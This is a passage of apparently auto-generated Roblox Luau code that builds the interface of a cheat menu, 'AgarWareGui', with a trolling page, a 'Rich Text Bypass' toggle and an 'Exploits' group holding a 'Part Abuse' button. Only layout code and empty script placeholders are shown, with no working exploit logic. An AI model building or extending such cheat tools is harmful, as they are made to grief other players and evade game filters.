G2L["141"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["141"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow.SprayRepChanger.SprayRepScript G2L["142"] = Instance.new("LocalScript", G2L["141"]); G2L["142"]["Name"] = [[SprayRepScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.APPLYCHANGESRow G2L["143"] = Instance.new("Frame", G2L["131"]); G2L["143"]["BorderSizePixel"] = 0; G2L["143"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["143"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["143"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["143"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["143"]["Name"] = [[APPLYCHANGESRow]]; G2L["143"]["LayoutOrder"] = 20; G2L["143"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.APPLYCHANGESRow.APPLYCHANGESScript G2L["144"] = Instance.new("LocalScript", G2L["143"]); G2L["144"]["Name"] = [[APPLYCHANGESScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.APPLYCHANGESRow.APPLYCHANGESButton G2L["145"] = Instance.new("TextButton", G2L["143"]); G2L["145"]["TextSize"] = 14; G2L["145"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["145"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["145"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["145"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["145"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["145"]["Text"] = [[Apply Changes]]; G2L["145"]["Name"] = [[APPLYCHANGESButton]]; G2L["145"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow G2L["146"] = Instance.new("Frame", G2L["131"]); G2L["146"]["BorderSizePixel"] = 0; G2L["146"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["146"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["146"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["146"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["146"]["Name"] = [[UnanchorRepRow]]; G2L["146"]["LayoutOrder"] = 13; G2L["146"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow.UnanchorRepScript G2L["147"] = Instance.new("LocalScript", G2L["146"]); G2L["147"]["Name"] = [[UnanchorRepScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow.UnanchorRepTickBox G2L["148"] = Instance.new("TextButton", G2L["146"]); G2L["148"]["TextSize"] = 14; G2L["148"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["148"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["148"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["148"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["148"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["148"]["Text"] = [[]]; G2L["148"]["Name"] = [[UnanchorRepTickBox]]; G2L["148"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow.UnanchorRepText G2L["149"] = Instance.new("TextLabel", G2L["146"]); G2L["149"]["BorderSizePixel"] = 0; G2L["149"]["TextSize"] = 14; G2L["149"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["149"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["149"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["149"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["149"]["BackgroundTransparency"] = 1; G2L["149"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["149"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["149"]["Text"] = [[Unanchor Block]]; G2L["149"]["Name"] = [[UnanchorRepText]]; G2L["149"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepLabelRow G2L["14a"] = Instance.new("Frame", G2L["131"]); G2L["14a"]["BorderSizePixel"] = 0; G2L["14a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["14a"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["14a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["14a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["14a"]["Name"] = [[MaterialRepLabelRow]]; G2L["14a"]["LayoutOrder"] = 18; G2L["14a"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepLabelRow.MaterialRapLabelText G2L["14b"] = Instance.new("TextLabel", G2L["14a"]); G2L["14b"]["BorderSizePixel"] = 0; G2L["14b"]["TextSize"] = 14; G2L["14b"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["14b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["14b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["14b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["14b"]["BackgroundTransparency"] = 1; G2L["14b"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["14b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["14b"]["Text"] = [[Material:]]; G2L["14b"]["Name"] = [[MaterialRapLabelText]]; G2L["14b"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepRow G2L["14c"] = Instance.new("Frame", G2L["131"]); G2L["14c"]["BorderSizePixel"] = 0; G2L["14c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["14c"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["14c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["14c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["14c"]["Name"] = [[MaterialRepRow]]; G2L["14c"]["LayoutOrder"] = 19; G2L["14c"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepRow.MaterialRepScript G2L["14d"] = Instance.new("LocalScript", G2L["14c"]); G2L["14d"]["Name"] = [[MaterialRepScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepRow.MaterialRepDropdown G2L["14e"] = Instance.new("TextButton", G2L["14c"]); G2L["14e"]["TextSize"] = 14; G2L["14e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["14e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["14e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["14e"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["14e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["14e"]["Text"] = [[]]; G2L["14e"]["Name"] = [[MaterialRepDropdown]]; G2L["14e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow G2L["14f"] = Instance.new("Frame", G2L["131"]); G2L["14f"]["BorderSizePixel"] = 0; G2L["14f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["14f"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["14f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["14f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["14f"]["Name"] = [[ColorRepRow]]; G2L["14f"]["LayoutOrder"] = 14; G2L["14f"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow.ColorRepText G2L["150"] = Instance.new("TextLabel", G2L["14f"]); G2L["150"]["BorderSizePixel"] = 0; G2L["150"]["TextSize"] = 14; G2L["150"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["150"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["150"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["150"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["150"]["BackgroundTransparency"] = 1; G2L["150"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["150"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["150"]["Text"] = [[Block Color:]]; G2L["150"]["Name"] = [[ColorRepText]]; G2L["150"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow.ColorRepButton G2L["151"] = Instance.new("TextButton", G2L["14f"]); G2L["151"]["BorderSizePixel"] = 0; G2L["151"]["TextSize"] = 14; G2L["151"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["151"]["BackgroundColor3"] = Color3.fromRGB(193, 193, 193); G2L["151"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["151"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["151"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["151"]["Text"] = [[]]; G2L["151"]["Name"] = [[ColorRepButton]]; G2L["151"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow.ColorRepButton.ColorRepButtonScript G2L["152"] = Instance.new("LocalScript", G2L["151"]); G2L["152"]["Name"] = [[ColorRepButtonScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow G2L["153"] = Instance.new("Frame", G2L["131"]); G2L["153"]["BorderSizePixel"] = 0; G2L["153"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["153"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["153"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["153"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["153"]["Name"] = [[SprayColorRepRow]]; G2L["153"]["LayoutOrder"] = 15; G2L["153"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow.SprayColorRepText G2L["154"] = Instance.new("TextLabel", G2L["153"]); G2L["154"]["BorderSizePixel"] = 0; G2L["154"]["TextSize"] = 14; G2L["154"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["154"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["154"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["154"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["154"]["BackgroundTransparency"] = 1; G2L["154"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["154"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["154"]["Text"] = [[Spray Color:]]; G2L["154"]["Name"] = [[SprayColorRepText]]; G2L["154"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow.SprayColorRepButton G2L["155"] = Instance.new("TextButton", G2L["153"]); G2L["155"]["BorderSizePixel"] = 0; G2L["155"]["TextSize"] = 14; G2L["155"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["155"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["155"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["155"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["155"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["155"]["Text"] = [[]]; G2L["155"]["Name"] = [[SprayColorRepButton]]; G2L["155"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow.SprayColorRepButton.SprayColorRepButtonScript G2L["156"] = Instance.new("LocalScript", G2L["155"]); G2L["156"]["Name"] = [[SprayColorRepButtonScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.DefaultRepRow G2L["157"] = Instance.new("Frame", G2L["131"]); G2L["157"]["BorderSizePixel"] = 0; G2L["157"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["157"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["157"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["157"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["157"]["Name"] = [[DefaultRepRow]]; G2L["157"]["LayoutOrder"] = 21; G2L["157"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.DefaultRepRow.DefaultRepScript G2L["158"] = Instance.new("LocalScript", G2L["157"]); G2L["158"]["Name"] = [[DefaultRepScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.DefaultRepRow.DefaultRepButton G2L["159"] = Instance.new("TextButton", G2L["157"]); G2L["159"]["TextSize"] = 14; G2L["159"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["159"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["159"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["159"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["159"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["159"]["Text"] = [[Set Default Colors]]; G2L["159"]["Name"] = [[DefaultRepButton]]; G2L["159"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RowREPSTART G2L["15a"] = Instance.new("Frame", G2L["131"]); G2L["15a"]["BackgroundColor3"] = Color3.fromRGB(89, 89, 89); G2L["15a"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["15a"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["15a"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["15a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["15a"]["Name"] = [[RowREPSTART]]; G2L["15a"]["LayoutOrder"] = 10; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RowREPSPACESTART G2L["15b"] = Instance.new("Frame", G2L["131"]); G2L["15b"]["BorderSizePixel"] = 0; G2L["15b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["15b"]["Size"] = UDim2.new(0, 169, 0, 8); G2L["15b"]["Position"] = UDim2.new(0.00294, 0, 0.26136, 0); G2L["15b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["15b"]["Name"] = [[RowREPSPACESTART]]; G2L["15b"]["LayoutOrder"] = 9; G2L["15b"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepRepRow G2L["15c"] = Instance.new("TextLabel", G2L["131"]); G2L["15c"]["TextWrapped"] = true; G2L["15c"]["BorderSizePixel"] = 0; G2L["15c"]["TextSize"] = 14; G2L["15c"]["TextScaled"] = true; G2L["15c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["15c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["15c"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["15c"]["BackgroundTransparency"] = 0.95; G2L["15c"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["15c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["15c"]["Text"] = [[Customize Block]]; G2L["15c"]["LayoutOrder"] = 11; G2L["15c"]["Name"] = [[RepRepRow]]; G2L["15c"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow G2L["15d"] = Instance.new("Frame", G2L["131"]); G2L["15d"]["BorderSizePixel"] = 0; G2L["15d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["15d"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["15d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["15d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["15d"]["Name"] = [[RichTextRepRow]]; G2L["15d"]["LayoutOrder"] = 17; G2L["15d"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow.RichTextRepScript G2L["15e"] = Instance.new("LocalScript", G2L["15d"]); G2L["15e"]["Name"] = [[RichTextRepScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow.RichTextRepTickBox G2L["15f"] = Instance.new("TextButton", G2L["15d"]); G2L["15f"]["TextSize"] = 14; G2L["15f"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["15f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["15f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["15f"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["15f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["15f"]["Text"] = [[]]; G2L["15f"]["Name"] = [[RichTextRepTickBox]]; G2L["15f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow.RichTextRepText G2L["160"] = Instance.new("TextLabel", G2L["15d"]); G2L["160"]["BorderSizePixel"] = 0; G2L["160"]["TextSize"] = 14; G2L["160"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["160"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["160"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["160"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["160"]["BackgroundTransparency"] = 1; G2L["160"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["160"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["160"]["Text"] = [[Rich Text Bypass]]; G2L["160"]["Name"] = [[RichTextRepText]]; G2L["160"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow G2L["161"] = Instance.new("Frame", G2L["131"]); G2L["161"]["BorderSizePixel"] = 0; G2L["161"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["161"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["161"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["161"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["161"]["Name"] = [[RestoreBrickRow]]; G2L["161"]["LayoutOrder"] = 4; G2L["161"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow.RestoreBrickScript G2L["162"] = Instance.new("LocalScript", G2L["161"]); G2L["162"]["Name"] = [[RestoreBrickScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow.RestoreBrickButton G2L["163"] = Instance.new("TextButton", G2L["161"]); G2L["163"]["TextSize"] = 14; G2L["163"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["163"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["163"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["163"]["Size"] = UDim2.new(0, 135, 0, 16); G2L["163"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["163"]["Text"] = [[Restore Brick]]; G2L["163"]["Name"] = [[RestoreBrickButton]]; G2L["163"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow.RestoreBrickHelp G2L["164"] = Instance.new("TextButton", G2L["161"]); G2L["164"]["TextSize"] = 14; G2L["164"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["164"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["164"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["164"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["164"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["164"]["Text"] = [[?]]; G2L["164"]["Name"] = [[RestoreBrickHelp]]; G2L["164"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup G2L["165"] = Instance.new("Frame", G2L["12f"]); G2L["165"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["165"]["BorderMode"] = Enum.BorderMode.Middle; G2L["165"]["Size"] = UDim2.new(0, 170, 0, 80); G2L["165"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["165"]["Name"] = [[ExploitsGroup]]; G2L["165"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsScript G2L["166"] = Instance.new("LocalScript", G2L["165"]); G2L["166"]["Name"] = [[ExploitsScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UIListLayout G2L["167"] = Instance.new("UIListLayout", G2L["165"]); G2L["167"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsAccentColor G2L["168"] = Instance.new("Frame", G2L["165"]); G2L["168"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["168"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["168"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["168"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["168"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["168"]["Name"] = [[ExploitsAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsTitle G2L["169"] = Instance.new("TextLabel", G2L["165"]); G2L["169"]["TextWrapped"] = true; G2L["169"]["BorderSizePixel"] = 0; G2L["169"]["TextSize"] = 14; G2L["169"]["TextScaled"] = true; G2L["169"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["169"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["169"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["169"]["BackgroundTransparency"] = 0.95; G2L["169"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["169"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["169"]["Text"] = [[More scripts i made or edited]]; G2L["169"]["LayoutOrder"] = 1; G2L["169"]["Name"] = [[ExploitsTitle]]; G2L["169"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsTitle.ExploitsMinimize G2L["16a"] = Instance.new("TextButton", G2L["169"]); G2L["16a"]["BorderSizePixel"] = 0; G2L["16a"]["TextSize"] = 14; G2L["16a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["16a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["16a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["16a"]["BackgroundTransparency"] = 1; G2L["16a"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["16a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["16a"]["Text"] = [[-]]; G2L["16a"]["Name"] = [[ExploitsMinimize]]; G2L["16a"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow G2L["16b"] = Instance.new("Frame", G2L["165"]); G2L["16b"]["BorderSizePixel"] = 0; G2L["16b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["16b"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["16b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["16b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["16b"]["Name"] = [[UNRow]]; G2L["16b"]["LayoutOrder"] = 4; G2L["16b"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow.UNScript G2L["16c"] = Instance.new("LocalScript", G2L["16b"]); G2L["16c"]["Name"] = [[UNScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow.UNButton G2L["16d"] = Instance.new("TextButton", G2L["16b"]); G2L["16d"]["TextSize"] = 14; G2L["16d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["16d"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["16d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["16d"]["Size"] = UDim2.new(0, 135, 0, 16); G2L["16d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["16d"]["Text"] = [[Part Abuse (READ)]]; G2L["16d"]["Name"] = [[UNButton]]; G2L["16d"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow.UNHelp G2L["16e"] = Instance.new("TextButton", G2L["16b"]); G2L["16e"]["TextSize"] = 14; G2L["16e"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["16e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["16e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["16e"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["16e"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["16e"]["Text"] = [[?]]; G2L["16e"]["Name"] = [[UNHelp]]; G2L["16e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow G2L["16f"] = Instance.new("Frame", G2L["165"]); G2L["16f"]["BorderSizePixel"] = 0; G2L["16f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["16f"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["16f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["16f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["16f"]["Name"] = [[BBRow]]; G2L["16f"]["LayoutOrder"] = 4; G2L["16f"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow.BBScript G2L["170"] = Instance.new("LocalScript", G2L["16f"]); 